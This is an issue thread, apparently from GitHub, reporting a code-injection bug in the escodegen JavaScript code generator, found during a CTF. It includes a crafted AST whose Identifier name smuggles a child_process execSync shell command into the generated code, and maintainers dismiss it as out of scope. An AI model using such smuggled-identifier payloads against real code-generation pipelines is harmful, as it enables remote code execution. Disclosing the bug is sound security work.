Security issue with statement expression parser for identifiers

[Zombiehelp54]

This issue was found during blackhat middle east CTF, the bug lies in the expression parser for statement expressions of type "Identifier".

Here is an example ECMAScript AST object that will break out of a "CatchClause" statement:

{
    "type": "Program",
    "body": [
      {
        "type": "TryStatement",
        "block": {
          "type": "BlockStatement",
          "body": [
            {
              "type": "VariableDeclaration",
              "declarations": [
                {
                  "type": "VariableDeclarator",
                  "id": {
                    "type": "Identifier",
                    "name": "a"
                  },
                  "init": {
                    "type": "Literal",
                    "value": "test",
                    "raw": "'test'"
                  }
                }
              ],
              "kind": "var"
            }
          ]
        },
        "handler": {
          "type": "CatchClause",
          "param": {
            "type": "Identifier",
            "name": "e"
          },
          "body": {
            "type": "BlockStatement",
            "body": [
              {
                "type": "ExpressionStatement",
                "expression": {
                  "type": "Identifier",
                  "name": "a} this.process.mainModule.require('child_process').execSync('touch /tmp/pwnd'); function x(){"
                }
              }
            ]
          }
        },
        "finalizer": null
      }
    ],
    "sourceType": "script"
  }

Output:

> escodegen.generate(ast);

'try {\n' +
  "    var a = 'test';\n" +
  '} catch (e) {\n' +
  "    a} this.process.mainModule.require('child_process').execSync('touch /tmp/pwnd'); function x(){;\n" +
  '}'

Expected output should return a parsing error. If an application is vulnerable to prototype pollution this bug can lead to RCE.

[Constellation]

Expected output should return a parsing error.

escodegen is not assuming an invalid AST. It is not checking input is right or wrong. So, out of scope.

[michaelficarra]

Agreed with @Constellation. Additionally, there is no risk to escodegen users here since the generated program is not evaluated in any way.